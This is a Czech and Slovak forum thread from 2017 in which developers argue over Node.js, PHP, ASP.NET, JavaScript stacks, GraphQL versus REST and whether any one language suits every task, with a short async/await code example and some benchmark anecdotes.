OK, ale uz to neni cool, pokud nepises jenom velky nudny databazovy systemy.

Ja doporucuju JavaScript na serveru i klientu. Za nejvic cool momentalne povazuju kombo NextJS, React,  GraphQL, Relay Modern/Apollo, nejakej type check a CSS in JS. JS renderujes na serveru, data ti poskytuje GraphQL, programujes funkcionalne, data tecou jednim smerem, a je to zabava. 
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Hmmm 22. 09. 2017, 15:54:41
Pretoze, ako uz bolo stokrat povedane, kazdy jazyk sa hodi na nieco ine a pristup roky programovat vsetko v jednom jazyku je proste volovina.
To, že to bylo řečené stokrát, ještě neznamená, že to tak je. Programovací jazyk je univerzální nástroj (měl by být). Pokud se na něco konkrétní jazyk nehodí (ať už z jakéhokoliv důvodu), tak má problém ten jazyk resp. jeho implementace, není to možné říct obecně o všech! Tak například se dá říct, že PHP se nehodí pro programování aplikací jako je Facebook, a ejhle..
Navíc pak by se dalo říct, že všichni programátoři, kteří programují v jednom jazyce jsou volové, no to snad ne...?
V prvom rade je naivne hovorit, ze Facebook je napisany v PHP, pretoze je to velmi zjednodusene povedane. Facebook si PHP ohol podla seba a je to v skutocnosti mix Javascriptu, XHP a HipHop for PHP. Vanilla PHP by som tam velmi nehladal. A to sme len pri frontende.

Ano, programovaci jazyk by mal byt univerzalny nastroj, ale nie je nim. A preto sa ani ziaden programovaci jazyk nehodi na vsetko. A to dokonca plati aj o PHP a Javascripte pri tvorbe webovych stranok.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Hmmm 22. 09. 2017, 15:58:04
Nevyhoda NodeJS je zase v onom callback hellu, ktery generuje a ve kterem je vyzva implementovat i blby for cyklus...
Ano, je pravda, ze menej sikovny programator bude mat s nodeJs problem kvoli callback hell. Ale, ze by sa v nom nedali implementovat jednoduche veci ako for cyklus... To urcite nie. Mimo toho for cyklus nema nic spolocne s asynchronnym procesom a aj ked vo for cykle spustam asynchronne metody, tak sa ich zosynchronizovanie vzdy da vyriesit bud cez promisy alebo pomocou niecoho ako async modul a podobne.

Jo, je to vyzva, pre toho kto s nodeJs zacina. Ale ten kto sa v tom rozkuka uz problem nema.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 22. 09. 2017, 17:17:13
Programovací jazyk je univerzální nástroj (měl by být). Pokud se na něco konkrétní jazyk nehodí (ať už z jakéhokoliv důvodu), tak má problém ten jazyk resp. jeho implementace, není to možné říct obecně o všech!

Přečti si něco o doménově specifických jazycích. Snad změníš názor.

Univerzální prostředek neexistuje.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Honza 22. 09. 2017, 17:24:59
V prvom rade je naivne hovorit, ze Facebook je napisany v PHP, pretoze je to velmi zjednodusene povedane. Facebook si PHP ohol podla seba a je to v skutocnosti mix Javascriptu, XHP a HipHop for PHP. Vanilla PHP by som tam velmi nehladal. A to sme len pri frontende.

Ano, programovaci jazyk by mal byt univerzalny nastroj, ale nie je nim. A preto sa ani ziaden programovaci jazyk nehodi na vsetko. A to dokonca plati aj o PHP a Javascripte pri tvorbe webovych stranok.
Ok, nemusí to být čisté PHP (upřímně, nevím), spíš mi šlo o to, že si pro své účely ke stávajícímu jazyku napsal ten překladač.

Mně stačí, že je programovací jazyk univerzální formálně (zdravíme pana Turinga). Pokud mi chybí nějaká knihovna, tak to je přece úplně jiná věc. To nelze dávat za vinu jazyku. Někdo tady dával příklad GUI pro desktop v PHP, třebaže ta knihovna pro to existuje, možná nestojí za nic, ale to zase není chyba PHP. Takhle to myslím.

Ale i když jsem 100% zastánce toho, aby bylo vše v jednom jazyku, tam nemám problém použít stávající knihovnu odjinud, pokud mi chybí, a nepíšu si ji sám. To ale znamená, že nějaké funkce pouze volám, nic nepíšu v jiném jazyce.

Programovací jazyk je univerzální nástroj (měl by být). Pokud se na něco konkrétní jazyk nehodí (ať už z jakéhokoliv důvodu), tak má problém ten jazyk resp. jeho implementace, není to možné říct obecně o všech!

Přečti si něco o doménově specifických jazycích. Snad změníš názor.

Univerzální prostředek neexistuje.
To, že něco vzniklo k nějakému danému účelu ještě neznamená, že to není uníverzální samo o sobě. Můžu mít DSL v Céčku pro volání databázových SQL dotazů, proč ne? Konfiguraci můžu napsat v YAML, JSONu, XML, nebo si ji nechat pouze vygenerovat. Zatím svůj názor tedy neměním.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 22. 09. 2017, 18:57:01
To, že něco vzniklo k nějakému danému účelu ještě neznamená, že to není uníverzální samo o sobě. Můžu mít DSL v Céčku pro volání databázových SQL dotazů, proč ne? Konfiguraci můžu napsat v YAML, JSONu, XML, nebo si ji nechat pouze vygenerovat. Zatím svůj názor tedy neměním.

Zrovna SQL je neúplným jazykem. Přesto se používá.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Honza 22. 09. 2017, 20:31:39
To, že něco vzniklo k nějakému danému účelu ještě neznamená, že to není uníverzální samo o sobě. Můžu mít DSL v Céčku pro volání databázových SQL dotazů, proč ne? Konfiguraci můžu napsat v YAML, JSONu, XML, nebo si ji nechat pouze vygenerovat. Zatím svůj názor tedy neměním.

Zrovna SQL je neúplným jazykem. Přesto se používá.
Předtím, než jsem ti chtěl dát za pravdu, jsem si o tom něco našel. Měl jsem tušení, že pomocí SQL procedur by leccos udělat šlo:
http://wiki.postgresql.org/wiki/Mandelbrot_set (http://wiki.postgresql.org/wiki/Mandelbrot_set)
A jak jsem tušil, samotné SQL dotazy, které si pod "SQL" představí většina, tak na to nestačí, ale ty ani já za programovací jazyk nepovažuji.

O tom, zda se SQL používá nebo ne ale spor nevedeme. Chtěl jsem naznačit, že pokud chci poslat databázi SQL dotaz, tak znát SQL je možná výhoda, ale není nutné to SQL psát ručně. Doufám, že tady se chytí aspoň někdo další, kdo to už nějakou dobu s nějakou abstrakcí nad tím tak píše...
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 22. 09. 2017, 21:10:00
To, že něco vzniklo k nějakému danému účelu ještě neznamená, že to není uníverzální samo o sobě. Můžu mít DSL v Céčku pro volání databázových SQL dotazů, proč ne? Konfiguraci můžu napsat v YAML, JSONu, XML, nebo si ji nechat pouze vygenerovat. Zatím svůj názor tedy neměním.

Zrovna SQL je neúplným jazykem. Přesto se používá.
Předtím, než jsem ti chtěl dát za pravdu, jsem si o tom něco našel. Měl jsem tušení, že pomocí SQL procedur by leccos udělat šlo:
http://wiki.postgresql.org/wiki/Mandelbrot_set (http://wiki.postgresql.org/wiki/Mandelbrot_set)
A jak jsem tušil, samotné SQL dotazy, které si pod "SQL" představí většina, tak na to nestačí, ale ty ani já za programovací jazyk nepovažuji.

O tom, zda se SQL používá nebo ne ale spor nevedeme. Chtěl jsem naznačit, že pokud chci poslat databázi SQL dotaz, tak znát SQL je možná výhoda, ale není nutné to SQL psát ručně. Doufám, že tady se chytí aspoň někdo další, kdo to už nějakou dobu s nějakou abstrakcí nad tím tak píše...

Procedury rozšiřují SQL a dělají z něj úplný jazyk.

Ovšem i bez procedur se dá SQL dotazem vygenerovat například HTML nebo CSS. Jen je to děsně pracné, nepraktické a málo robustní. HTML už negeneruji ani v PHP, protože je to neefektivní a líné. Je lepší aplikaci rozdělit do vrstev, kde se pro každou vrstvu vybere vhodný DSL.

Když jsem to počítal, tak jsem zjistil, že v běžné webové aplikaci je použito cca 6 různých jazyků. Teoreticky by se to dalo napsat v jednom dokonalém jazyce, který existuje a který obsáhne vše. Dokonce by eliminoval většinu problémů, se kterými se denně potýkáme. Vývoj však šel cestou rozdělení do více jazyků s omezenými schopnostmi.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Jan Forman 22. 09. 2017, 21:23:47
Snad odjakživa vše používám jako mikroservices v kontejnerech, takže mě naopak příjde přirozené to klidně míchat.
Používám tedy i jazyky, které nemám rád, ale pokud pracují jak mají - beru je na milost  :)

Procedury jsem nikdy moc nemusel u SQL a vlastně při přechodu na NoSQL jsem ani moc věcí nemusel měnit.
Takže jsem opět v hybridu, přes integraci přistupuju jak do SQL tak do NoSQL a z každého si vezmu to lepší.

Příjde mi to OK, navíc velké systémy je strašně dělat jako monolit. Těším se na NGINX UNIT ::)
Za mě prostě cokoliv co správně pracuje.

To, že něco vzniklo k nějakému danému účelu ještě neznamená, že to není uníverzální samo o sobě. Můžu mít DSL v Céčku pro volání databázových SQL dotazů, proč ne? Konfiguraci můžu napsat v YAML, JSONu, XML, nebo si ji nechat pouze vygenerovat. Zatím svůj názor tedy neměním.

Zrovna SQL je neúplným jazykem. Přesto se používá.
Předtím, než jsem ti chtěl dát za pravdu, jsem si o tom něco našel. Měl jsem tušení, že pomocí SQL procedur by leccos udělat šlo:
http://wiki.postgresql.org/wiki/Mandelbrot_set (http://wiki.postgresql.org/wiki/Mandelbrot_set)
A jak jsem tušil, samotné SQL dotazy, které si pod "SQL" představí většina, tak na to nestačí, ale ty ani já za programovací jazyk nepovažuji.

O tom, zda se SQL používá nebo ne ale spor nevedeme. Chtěl jsem naznačit, že pokud chci poslat databázi SQL dotaz, tak znát SQL je možná výhoda, ale není nutné to SQL psát ručně. Doufám, že tady se chytí aspoň někdo další, kdo to už nějakou dobu s nějakou abstrakcí nad tím tak píše...

Procedury rozšiřují SQL a dělají z něj úplný jazyk.

Ovšem i bez procedur se dá SQL dotazem vygenerovat například HTML nebo CSS. Jen je to děsně pracné, nepraktické a málo robustní. HTML už negeneruji ani v PHP, protože je to neefektivní a líné. Je lepší aplikaci rozdělit do vrstev, kde se pro každou vrstvu vybere vhodný DSL.

Když jsem to počítal, tak jsem zjistil, že v běžné webové aplikaci je použito cca 6 různých jazyků. Teoreticky by se to dalo napsat v jednom dokonalém jazyce, který existuje a který obsáhne vše. Dokonce by eliminoval většinu problémů, se kterými se denně potýkáme. Vývoj však šel cestou rozdělení do více jazyků s omezenými schopnostmi.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Archie 22. 09. 2017, 22:18:14
Když jsem to počítal, tak jsem zjistil, že v běžné webové aplikaci je použito cca 6 různých jazyků. Teoreticky by se to dalo napsat v jednom dokonalém jazyce, který existuje a který obsáhne vše. Dokonce by eliminoval většinu problémů, se kterými se denně potýkáme. Vývoj však šel cestou rozdělení do více jazyků s omezenými schopnostmi.

V modernim JavaScriptu si napises server, klient, middleware. Dost drahejch operaci usetris na server side renderingu a GraphQL. Data ukladas v JSON formatu.  Mas k dispozici bozi featury jako code splitting, hot reloading, prefetching, zminenej SSR, featury, ktery nejsou bezny a tak dostupny v jinejch webovejch ekosystemech. ES6, Webpack, Babel, NPM, Docker a dalsi technologie dost resej zabordelenost dob minulejch. Nehlede na kompozici, funkcionalni paradigma, typy, jednosmernej datovej tok, async, React Fiber, chystanej Prepack, NextJS, Relay.. 

Mit na serveru Javu, Groovy, sablony rozkroceny mezi nejaky XML, Freemarker, Spel, do toho SQL, nejaky ORM, na klientu 40 pluginu jQuery, Bootstrap, nejakej css framework, Elastic a nejakou cache, vopravdu neni to jediny mozny a neni potreba 6 jazyku a 5 programovacich paradigmat. Hawk.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 22. 09. 2017, 22:38:19
Když jsem to počítal, tak jsem zjistil, že v běžné webové aplikaci je použito cca 6 různých jazyků. Teoreticky by se to dalo napsat v jednom dokonalém jazyce, který existuje a který obsáhne vše. Dokonce by eliminoval většinu problémů, se kterými se denně potýkáme. Vývoj však šel cestou rozdělení do více jazyků s omezenými schopnostmi.

V modernim JavaScriptu si napises server, klient, middleware.

Musíš započítat také HTML, CSS a databázi. To už jsou dohromady 4 jazyky, které se stěží mohou zastupovat. Něco málo jsi ušetřil. Měl jsem na mysli jeden jazyk na všechno. Bohužel dnešní prohlížeče na to stavěny nejsou.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Aoidhghean 22. 09. 2017, 22:58:05
Když jsem to počítal, tak jsem zjistil, že v běžné webové aplikaci je použito cca 6 různých jazyků. Teoreticky by se to dalo napsat v jednom dokonalém jazyce, který existuje a který obsáhne vše. Dokonce by eliminoval většinu problémů, se kterými se denně potýkáme. Vývoj však šel cestou rozdělení do více jazyků s omezenými schopnostmi.

V modernim JavaScriptu si napises server, klient, middleware. Dost drahejch operaci usetris na server side renderingu a GraphQL. Data ukladas v JSON formatu.  Mas k dispozici bozi featury jako code splitting, hot reloading, prefetching, zminenej SSR, featury, ktery nejsou bezny a tak dostupny v jinejch webovejch ekosystemech. ES6, Webpack, Babel, NPM, Docker a dalsi technologie dost resej zabordelenost dob minulejch. Nehlede na kompozici, funkcionalni paradigma, typy, jednosmernej datovej tok, async, React Fiber, chystanej Prepack, NextJS, Relay.. 

Mit na serveru Javu, Groovy, sablony rozkroceny mezi nejaky XML, Freemarker, Spel, do toho SQL, nejaky ORM, na klientu 40 pluginu jQuery, Bootstrap, nejakej css framework, Elastic a nejakou cache, vopravdu neni to jediny mozny a neni potreba 6 jazyku a 5 programovacich paradigmat. Hawk.
Co je hawk? Unikla mi souvislost se sokolama?
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Archie 22. 09. 2017, 23:13:24
Musíš započítat také HTML, CSS a databázi. To už jsou dohromady 4 jazyky, které se stěží mohou zastupovat. Něco málo jsi ušetřil. Měl jsem na mysli jeden jazyk na všechno. Bohužel dnešní prohlížeče na to stavěny nejsou.

CSS se dneska da psat (a pise se) v JavaScriptu jako funkcionalni komponenty. Viz treba Reacti svet a Fela. Databaze jako Mongo uklada do JSON stromecku, coz je format totoznej s JS objektama. REST ti v mnohapripadech uplne odpada s pouzitim GraphQL, ktery ma sice svoje query, ale sou zase zapsany v js. V ramci jednoho komplexniho kusu komponent se da napsat mobilni apka (React Native) i web. V JS uz je napsana i spousta desktopovejch veci. HTML uz je spis jen takovej talir, na kterym se jidlo podava.

Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: caps 23. 09. 2017, 16:59:14
Nevyhoda NodeJS je zase v onom callback hellu, ktery generuje a ve kterem je vyzva implementovat i blby for cyklus...
Ano, je pravda, ze menej sikovny programator bude mat s nodeJs problem kvoli callback hell. Ale, ze by sa v nom nedali implementovat jednoduche veci ako for cyklus... To urcite nie. Mimo toho for cyklus nema nic spolocne s asynchronnym procesom a aj ked vo for cykle spustam asynchronne metody, tak sa ich zosynchronizovanie vzdy da vyriesit bud cez promisy alebo pomocou niecoho ako async modul a podobne.

Jo, je to vyzva, pre toho kto s nodeJs zacina. Ale ten kto sa v tom rozkuka uz problem nema.

alebo krajsie a modernejsie pomocou async / await


let result = [];
for (let url of ["/adresa1", "/adresa2", "/adresa3"]) {
     result.push(await download(url));
}
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: David 24. 09. 2017, 18:02:01
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Aoidhghean 24. 09. 2017, 18:09:35
Nevyhoda NodeJS je zase v onom callback hellu, ktery generuje a ve kterem je vyzva implementovat i blby for cyklus...
Ano, je pravda, ze menej sikovny programator bude mat s nodeJs problem kvoli callback hell. Ale, ze by sa v nom nedali implementovat jednoduche veci ako for cyklus... To urcite nie. Mimo toho for cyklus nema nic spolocne s asynchronnym procesom a aj ked vo for cykle spustam asynchronne metody, tak sa ich zosynchronizovanie vzdy da vyriesit bud cez promisy alebo pomocou niecoho ako async modul a podobne.

Jo, je to vyzva, pre toho kto s nodeJs zacina. Ale ten kto sa v tom rozkuka uz problem nema.

alebo krajsie a modernejsie pomocou async / await


let result = [];
for (let url of ["/adresa1", "/adresa2", "/adresa3"]) {
     result.push(await download(url));
}
Ještě “hezčí” jsou korutiny.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 24. 09. 2017, 18:47:59
Já dělam v PHP a poohlížim se po C#/Java. Celkově bych to shrnul:

PHP
- horší výkon, protože je to skriptovací jazyk
- slabý typování - u větších projektů průser
- nekonzistence - něco je objekt, něco resource, nesrovnalosti v názvech atd.
- některý věci se dělaj krmolomně, např. asynchronní operace
- na nic kromě webu/skriptů se nedá použít

C#
- moderní
- s restartem .NETu by to mohla bejt do budoucna nejlepší technologie

Koukám, že je nejvyšší čas, abys opustil PHP, se kterým si evidentně nerozumíš, a přešel k C#.

Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Milfaus 24. 09. 2017, 19:08:01
  • PHP je kompilovaným jazykem, který není pomalý. Benchmarky lžou
  • Slabé typování nevadí, když s ním umíš zacházet
  • Případnou nekonzistenci si snadno zapouzdříš do objektu a pak je ti zcela fuk
  • PHP není stavěné na asynchronní operace, ale i tohle se dá zvládnout vcelku snadno
  • PHP se dá použít jako generátor/kompilátor čehokoli. Desktop bych v něm opravdu nedělal

Kompilovaný jazyk? To jako fakt? Gcc -o index index.php jo? :-D
LOL? Nebo myslíš opuštěný a vypuštěný HipHop?
Slabé typování nevadí? :-D ?
Asi nejvíc mě rozsekala část: "nekonzistenci si snadno zapouzdříš do objektu"!
To asi nejvíc vystihuje styl práce v PHP!
Prostě to čuně prasí a když je to už dostatečně doprasené, "zamete se to pod koberec", aby tu prasárnu vůbec šlo použít.
Velký dílek skládačky právě zapadl :-D
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: jpu 24. 09. 2017, 19:08:42
Kit-e my vieme, ze php je svaty gral pre teba :)
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 24. 09. 2017, 19:17:10
Pokud se někomu PHP nelíbí, ať v něm nedělá.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Milfaus 24. 09. 2017, 19:57:01

PHP má svoje výhody, ale ty z něj děláš opravdový programovací jazyk.

Tak například to slabé typování je právě jednou z překážek pro vytvoření nativního kompilovaného kódu.
Já vím, že o IT víš asi kulové, ale ber to takhle.
Máš proměnnou X.
Jak jí má překladač definovat?
Je to číslo? Jak dlouhé? Int? Double? Long?
I když tam dáš x = 5;
Pořád překladač bude jen hádat, jaký je to typ čísla.
Je to signed nebo unsigned int? Jak dlouhý?
Mimo to v PHP můžeš prasit i pomocí anonymních funkcí.
Jak to chceš v paměti alokovat, když překladač dopředu neví, jak se s tím poprat?
Navíc bys potřeboval slušný GarbageCollector, jinak by ti nakonec došla paměť, protože v PHP tuším nejsou rozumné mechanismy free/dispose.

Ty čuňárny, které ti odpustí PHP, překonávají snad už jen čuňárny, které můžeš prasit v Javascriptu.
C# není ani z daleka tak tolerantní jako PHP.

Kdybys neplácal a soustředil se na to podstatné, určitě by ti to nikdo nevyčítal.
PHP je nástroj pro rychlé splácání polofunkčních webovek.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Milfaus 24. 09. 2017, 20:05:43
Kit-e my vieme, ze php je svaty gral pre teba :)

Asi bychom mu to neměli brát.
On je zjevně šťastnej, PHP mu umožňuje, aby se mohl cítit jako skutečný programátor.
Asi tak, jako když si děti jezdí ve šlapacím autíčku a představují si, že mají skutečné auto.
Je kruté mu bořit sny.
Těší mě, že i on si našel svoje místečko na slunci a nemusí se o něj někdo starat.
Víš, dokud si děti můžou hrát, je na světě dobře.


V pohodě Kit-e, nás si nevšímej a hraj si :-)
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: to_je_jedno 24. 09. 2017, 20:11:10
Asi tak, jako když si děti jezdí ve šlapacím autíčku a představují si, že mají skutečné auto.
Tahle namistrovanost jen svedci o nejakem tvem mindracku.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Petr 24. 09. 2017, 20:16:39
Citace
PHP je nástroj pro rychlé splácání polofunkčních webovek.

Pokud někdo tvrdí toto, pak se sám kompletně diskvalifikuje z diskuze a nemá vůbec cenu číst jeho další názory.

Čím si myslíte, že je poháněno fórum, ve kterém takové nesmysly tvrdíte. Je to paradox, že na jedné straně se účastníte diskuze, kterou Vám poskytuje právě PHP a na druhé straně o PHP tvrdíte takové nesmysly.

Typování:
V době nástupu umělé inteligence si myslím, že zrovna typování bude ztrácet na významu.

Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Mirek Prýmek 24. 09. 2017, 20:21:20
Když už tady proběhla diskuse o webovém stacku, docela zajímavá možnost je Phoenix na backendu a Elm nebo Vue.js na frontendu. Doporučuju vyzkoušet.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: jpu 24. 09. 2017, 20:23:03
Nastup umelej inteligencie :D. Tak to uz tu mame dalsieho Noveho.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Milfaus 24. 09. 2017, 20:27:25
Tahle namistrovanost jen svedci o nejakem tvem mindracku.

Já vím, že taky čuníš v PHP, hele, já ti to přece přeju!

Pokaždé, když potřebuju něco rychle naprasit, taky po něm sáhnu.
Otto Wichterle také sestavil svůj první prototyp z Merkuru a nebylo mu to nijak blbý.

V době nástupu umělé inteligence si myslím, že zrovna typování bude ztrácet na významu.
Jo, jo, jo, za dvacet let možná jo no  ;D
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: byvaly phpckar 24. 09. 2017, 23:25:02
Já dělam v PHP a poohlížim se po C#/Java. Celkově bych to shrnul:

PHP
- horší výkon, protože je to skriptovací jazyk
- slabý typování - u větších projektů průser
- nekonzistence - něco je objekt, něco resource, nesrovnalosti v názvech atd.
- některý věci se dělaj krmolomně, např. asynchronní operace
- na nic kromě webu/skriptů se nedá použít

C#
- moderní
- s restartem .NETu by to mohla bejt do budoucna nejlepší technologie

Koukám, že je nejvyšší čas, abys opustil PHP, se kterým si evidentně nerozumíš, a přešel k C#.

  • PHP je kompilovaným jazykem, který není pomalý. Benchmarky lžou
  • Slabé typování nevadí, když s ním umíš zacházet
  • Případnou nekonzistenci si snadno zapouzdříš do objektu a pak je ti zcela fuk
  • PHP není stavěné na asynchronní operace, ale i tohle se dá zvládnout vcelku snadno
  • PHP se dá použít jako generátor/kompilátor čehokoli. Desktop bych v něm opravdu nedělal

PHP ma par vychytavok a svetlych miest (napriklad magicke metody su velmi pekny "hack" ktorym sa da casto vyhnut pouzivaniu reflexie)...

ale moj celkovy dojem (po 15tich rokoch pouzivania) je ze je to skaredy a nekonzistentny jazyk, ktory hadze programatorovi klacky pod nohy tam kde netreba a naopak mu dava prilisnu volnost tam kde by sa tie klacky hodili.  uz len nutnost pisat this-> pred membery je zhovadilost, ktora poukazuje na to ze autori jazyka nepochopili OOP.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Kit 25. 09. 2017, 00:13:04
...  uz len nutnost pisat this-> pred membery je zhovadilost, ktora poukazuje na to ze autori jazyka nepochopili OOP.

V čem je to špatně? Odlišuje to lokální komponenty metody od globálních v objektu. Prefix self:: zase ukazuje na statické (třídní) komponenty. Těmi se musí šetřit a zřejmě proto vypadají tak hnusně :D
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: to_je_jedno 25. 09. 2017, 07:07:54
ktora poukazuje na to ze autori jazyka nepochopili OOP.
To bude pravdepodobne tim, ze to proste na zacatku neresili. Celkem pochopitelne vzhledem k tomu jak to vzniklo. Nu a pozdeji zase resili vic BC nez cistotu.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Archie 25. 09. 2017, 08:36:49
    Já dělam v PHP a poohlížim se po C#/Java. Celkově bych to shrnul:

    PHP
    - horší výkon, protože je to skriptovací jazyk
    - slabý typování - u větších projektů průser
    - nekonzistence - něco je objekt, něco resource, nesrovnalosti v názvech atd.
    - některý věci se dělaj krmolomně, např. asynchronní operace
    - na nic kromě webu/skriptů se nedá použít

    C#
    - moderní
    - s restartem .NETu by to mohla bejt do budoucna nejlepší technologie

    Java
    - programuje se mi v ní hůř než v C#
    - přijde mi víc těžkopádná než ASP.NET a psaní je zdlouhavější

    Node.JS
    - JS obecně nemám rád, spatlanina jako PHP
    - alspoň se dá použít na více místech, např. na mobilu je to jedna z mála multiplatformních alternativ, ale dělat v něm desktopovou aplikaci je utopie
    - vše defaultně asynchronní se mi nelíbí, přijde mi to nepřirozený na serveru (možná někdo nesouhlasí)
    - někdy bych si v něm chtěl vyzkoušet udělat webovou aplikaci, ale jedinně (!) s využitim Typescriptu, jinak je to krok vzad

    Python
    - výkonem je na tom podle benchmarků hůř než nový PHP
    - líp navržený než PHP
    - univerzální
    - ale žádnej mega boom oproti PHP (je to taky jen skriptovací jazyk), při přechodu z PHP bych spíš udělal větší krok šel do C#/Javy

s tim javascriptem a typescriptem ses fakt hodne pozadu :D
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Archie 25. 09. 2017, 08:48:29
Prijde mi, ze tu vetsina pisatelu delala webovou aplikaci naposled v roce 2008. Aplikace (tzn. ne velky databaze typu request na sql/sablona/jquery) ale opravdu interaktivni, pro mobil pripraveny, offline nejak funkci apky, kdy se resi kazdy drobny delay, fakt uz par let nestoji na tech nejtradicnejsich MVC architekturach.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Sob 25. 09. 2017, 10:30:59
Před pár měsíci jsem dělal benchmark na jednoduché REST API (obsahovalo směrování požadavků, parsování parametrů, autorizaci, několik CRUD endpointů a jednoduché SQL dotazy) v Node.js a v PHP7.  Spočíval v měření času za jaký dokážou obě platformy obsluhovat vzrůstající počet paralelních požadavků.
PHP7 bylo v podstatě na všech měřených úrovních o cca 30% rychlejší, ale to bylo patrně dáno tím, že čekání na SQL server bylo minimální (jednoduché dotazy) a tak Node.js nedokázal moc dobře využít asynchronicitu a PHP mohlo využít více procesů, které se podělily o vícejádrový procesor (Node.js běží v jednom procesu).

ASP ani Javu jsem nezkoušel, ale domnívám se, že by mohly být na tasky, které vyžadují CPU, rychlejší, než PHP.

Jinak PHP je pro začátečníky vhodnější (sledovat flow asynchroní aplikace v Node je zážitek), a taky pro jednoduché projekty (WordPress) pohodlně stačí, ale sám se začínám poohlížet po Javě pro důležitější API. Server side JS mě nějak nechytnul, ale trochu mě zajímá React.
Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Archie 25. 09. 2017, 10:50:21
Před pár měsíci jsem dělal benchmark na jednoduché REST API (obsahovalo směrování požadavků, parsování parametrů, autorizaci, několik CRUD endpointů a jednoduché SQL dotazy) v Node.js a v PHP7.  Spočíval v měření času za jaký dokážou obě platformy obsluhovat vzrůstající počet paralelních požadavků.
PHP7 bylo v podstatě na všech měřených úrovních o cca 30% rychlejší, ale to bylo patrně dáno tím, že čekání na SQL server bylo minimální (jednoduché dotazy) a tak Node.js nedokázal moc dobře využít asynchronicitu a PHP mohlo využít více procesů, které se podělily o vícejádrový procesor (Node.js běží v jednom procesu).

ASP ani Javu jsem nezkoušel, ale domnívám se, že by mohly být na tasky, které vyžadují CPU, rychlejší, než PHP.

Jinak PHP je pro začátečníky vhodnější (sledovat flow asynchroní aplikace v Node je zážitek), a taky pro jednoduché projekty (WordPress) pohodlně stačí, ale sám se začínám poohlížet po Javě pro důležitější API. Server side JS mě nějak nechytnul, ale trochu mě zajímá React.

Tak to neni ale jen otazka jazyka, ale spis cely infrastruktury. Optimalizujes si data, ktery ti chodej na klient? Predvidas ? Optimistic UI? Code splitting? Prefatching? Cache? SQL/NoSQL? Pocet requestu? Renderujes na serveru? Zipy, bundly..

Nehlede na to, ze pouzivat REST je dneska uz u spousty aplikaci jenom zvyk. GraphQL to resi efektivnejc.
Cool uz neni RESTE naval mi vsechny filmy a ja si nad nima zacnu filtrovat nebo si udelam tunu API pro kazdou prkotinu zvlast. Slusnost je rict GraphQL, naval mi nazvy filmu a mozna mi v pozadi stahni jejich hodnoceni.

Název: Re:Node.js vs PHP vs ASP.NET
Přispěvatel: Archie 25. 09. 2017, 11:00:17
Jeste doplnim k tomu REST API

Co je narocnejsi? Kdyz si uzivatel musi rict 4x o request z Irska do Singapuru a nebo 1x? Kde je ted nejaka core vypocetni sila dany technologie?